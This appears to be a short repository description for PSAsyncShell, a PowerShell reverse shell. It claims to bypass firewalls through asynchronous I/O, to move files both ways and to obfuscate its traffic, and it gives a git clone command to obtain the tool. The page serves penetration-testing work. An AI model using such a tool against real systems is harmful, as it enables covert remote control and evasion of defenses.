joelgmsec/psasyncshellAsynchronous TCP reverse shell in pure PowerShell that bypasses firewalls via non-blocking I/O, with command history, file upload/download, and obfuscated Base64 traffic.
PSAsyncShell is an Asynchronous TCP Reverse Shell written in pure PowerShell.
Unlike other reverse shells, all the communication and execution flow is done asynchronously, allowing to bypass some firewalls and some countermeasures against this kind of remote connections.
Additionally, this tool features command history, screen wiping, file uploading and downloading, information splitting through chunks and reverse Base64 URL encoded and obfuscated traffic.
It is recommended to clone the complete repository or download the zip file. You can do this by running the following command:
git clone https://github.com/JoelGMSec/PSAsyncShell
.\PSAsyncShell.ps1 -h
